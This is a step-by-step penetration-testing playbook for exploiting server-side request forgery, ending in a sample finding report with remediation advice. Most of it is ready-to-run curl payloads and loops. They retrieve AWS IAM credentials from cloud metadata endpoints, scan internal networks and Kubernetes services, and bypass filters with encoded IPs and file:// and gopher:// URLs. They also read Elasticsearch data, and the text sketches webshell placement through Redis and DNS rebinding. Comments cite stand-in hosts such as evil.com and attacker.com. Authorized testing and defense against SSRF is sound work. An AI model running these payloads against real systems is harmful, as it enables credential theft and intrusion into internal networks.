Exploiting Server-Side Request Forgery

When to Use

• During authorized penetration tests when the application fetches URLs provided by users (webhooks, URL previews, file imports)
• When testing cloud-hosted applications for access to instance metadata services
• For assessing PDF generators, screenshot services, or any feature that renders external content
• When evaluating microservice architectures for internal service access via SSRF
• During security assessments of APIs that accept URL parameters for data fetching

Prerequisites

• Authorization: Written penetration testing agreement including SSRF testing scope
• Burp Suite Professional: With Collaborator for out-of-band detection
• interactsh: Open-source OOB interaction server (go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest)
• SSRFmap: Automated SSRF exploitation framework (git clone https://github.com/swisskyrepo/SSRFmap.git)
• curl: For manual SSRF payload testing
• Knowledge of target infrastructure: Cloud provider (AWS, GCP, Azure), internal IP ranges

Workflow

Step 1: Identify SSRF-Prone Functionality

Map all application features that make server-side HTTP requests.

# Common SSRF-prone features:
# - URL preview/unfurling (Slack-like link previews)
# - Webhook configuration endpoints
# - File import from URL (import CSV from URL)
# - PDF/screenshot generation from URL
# - Image/avatar fetching from URL
# - RSS/feed aggregation
# - OAuth callback URLs
# - API proxy/gateway features

# Test a URL parameter with Burp Collaborator
# Replace URL values with Collaborator payload
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"url":"http://abc123.burpcollaborator.net/ssrf-test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"webhook_url":"http://abc123.oast.fun/webhook"}' \
  "https://target.example.com/api/webhooks"

# Test URL in various parameter names
for param in url uri link href src dest redirect callback webhook \
  image_url avatar_url feed_url import_url proxy_url; do
  echo "Testing param: $param"
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com/api/fetch?${param}=http://abc123.oast.fun/${param}"
done

Step 2: Access Cloud Instance Metadata

Test SSRF payloads targeting cloud provider metadata services.

# AWS EC2 Metadata (IMDSv1)
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://target.example.com/api/fetch-url"

# AWS - Get IAM role credentials
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' \
  "https://target.example.com/api/fetch-url"

# GCP Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://metadata.google.internal/computeMetadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

# Azure Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/instance?api-version=2021-02-01"}' \
  "https://target.example.com/api/fetch-url"

# DigitalOcean Metadata
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/metadata/v1/"}' \
  "https://target.example.com/api/fetch-url"

Step 3: Scan Internal Network via SSRF

Use the SSRF vulnerability to discover internal services and ports.

# Internal network scanning - common private ranges
for ip in 127.0.0.1 10.0.0.1 172.16.0.1 192.168.1.1; do
  for port in 22 80 443 3000 3306 5432 6379 8080 8443 9200 27017; do
    echo -n "$ip:$port -> "
    response=$(curl -s --max-time 3 -X POST \
      -H "Content-Type: application/json" \
      -d "{\"url\":\"http://$ip:$port/\"}" \
      "https://target.example.com/api/fetch-url")
    echo "$response" | head -c 100
    echo
  done
done

# Kubernetes internal services
for svc in kubernetes.default.svc \
  kubernetes-dashboard.kubernetes-dashboard.svc \
  kube-dns.kube-system.svc; do
  curl -s --max-time 3 -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://$svc/\"}" \
    "https://target.example.com/api/fetch-url"
done

# Access internal admin panels
for path in /admin /console /actuator/env /server-status /_cat/indices; do
  curl -s -X POST \
    -H "Content-Type: application/json" \
    -d "{\"url\":\"http://127.0.0.1:8080$path\"}" \
    "https://target.example.com/api/fetch-url"
done

Step 4: Bypass SSRF Filters and Allowlists

When basic payloads are blocked, use bypass techniques.

# IP address encoding bypasses for 127.0.0.1
PAYLOADS=(
  "http://127.0.0.1/"
  "http://0177.0.0.1/"          # Octal
  "http://0x7f.0.0.1/"          # Hex
  "http://2130706433/"           # Decimal
  "http://127.1/"                # Short form
  "http://0/"                    # Zero
  "http://[::1]/"                # IPv6 loopback
  "http://0.0.0.0/"              # All interfaces
  "http://localtest.me/"         # DNS resolves to 127.0.0.1
  "http://spoofed.burpcollaborator.net/"  # DNS rebinding
  "http://127.0.0.1.nip.io/"    # Wildcard DNS
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "$payload -> "
  curl -s -o /dev/null -w "%{http_code}" --max-time 3 \
    -X POST -H "Content-Type: application/json" \
    -d "{\"url\":\"$payload\"}" \
    "https://target.example.com/api/fetch-url"
  echo
done

# URL parsing bypass
# Embed credentials: http://[email protected]/
# Fragment: http://evil.com#expected.com
# URL encoding: http://127.0.0.%31/
# Redirect chain: http://attacker.com/redirect?url=http://127.0.0.1

# Protocol bypass
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"file:///etc/passwd"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"gopher://127.0.0.1:6379/_SET%20ssrf%20test"}' \
  "https://target.example.com/api/fetch-url"

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"dict://127.0.0.1:6379/info"}' \
  "https://target.example.com/api/fetch-url"

Step 5: Exploit SSRF for Impact Escalation

Chain SSRF with internal services for maximum impact.

# Access Redis via gopher protocol
# Craft gopher payload to set a webshell via Redis
# gopher://127.0.0.1:6379/_CONFIG SET dir /var/www/html
# This is for authorized testing only

# Access Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/_cat/indices?v"}' \
  "https://target.example.com/api/fetch-url"

# Read data from Elasticsearch
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9200/users/_search?size=10"}' \
  "https://target.example.com/api/fetch-url"

# Access internal Jenkins
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:8080/script"}' \
  "https://target.example.com/api/fetch-url"

# AWS: Retrieve temporary credentials from IAM role
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}' \
  "https://target.example.com/api/fetch-url"
# Returns: AccessKeyId, SecretAccessKey, Token

Step 6: Test Blind SSRF and DNS Rebinding

For cases where the response is not returned to the attacker.

# Blind SSRF detection using time-based analysis
# Compare response times for accessible vs inaccessible ports
time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:22/"}' \
  "https://target.example.com/api/fetch-url"

time curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:12345/"}' \
  "https://target.example.com/api/fetch-url"

# DNS rebinding attack
# 1. Set up a DNS server that alternates between:
#    - First query: returns attacker IP (passes allowlist)
#    - Second query: returns 127.0.0.1 (targets internal service)
# 2. Use a rebinding service like rbndr.us

curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"url":"http://7f000001.c0a80001.rbndr.us/"}' \
  "https://target.example.com/api/fetch-url"
# rbndr.us alternates DNS responses between the two encoded IPs

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Webhook URL SSRF to AWS Credentials

A webhook configuration endpoint allows specifying a callback URL. Pointing it to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.

Scenario 2: PDF Generator SSRF

A feature that generates PDFs from URLs makes server-side requests. Providing http://127.0.0.1:8080/admin as the URL generates a PDF containing the internal admin panel content.

Scenario 3: Image URL SSRF with Protocol Bypass

An avatar URL field is filtered for HTTP/HTTPS but accepts file:// protocol. Using file:///etc/passwd as the avatar URL causes the server to read local files and include content in the response.

Scenario 4: Blind SSRF to Internal Redis

A URL fetch feature does not return response content but confirms success/failure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.

Output Format

## SSRF Vulnerability Finding

**Vulnerability**: Server-Side Request Forgery (Full SSRF)
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/webhooks - `callback_url` parameter
**OWASP Category**: A10:2021 - Server-Side Request Forgery

### Reproduction Steps
1. Send POST /api/webhooks with callback_url set to http://169.254.169.254/latest/meta-data/
2. Server makes request to AWS metadata endpoint
3. Response contains AWS instance metadata including IAM role name
4. Follow up with IAM credentials endpoint to retrieve temporary access keys

### Confirmed Access
| Target | Protocol | Response |
|--------|----------|----------|
| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |
| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |
| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |
| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |

### Impact
- AWS IAM temporary credentials exfiltrated (S3 read/write access)
- Internal Redis server accessible (potential RCE)
- Internal Elasticsearch data exposed (user records)
- Full internal network scanning capability

### Recommendation
1. Implement strict URL allowlisting (only allow known trusted domains)
2. Block requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)
3. Upgrade to AWS IMDSv2 (requires session token header)
4. Disable unused URL protocols (gopher, file, dict, ftp)
5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls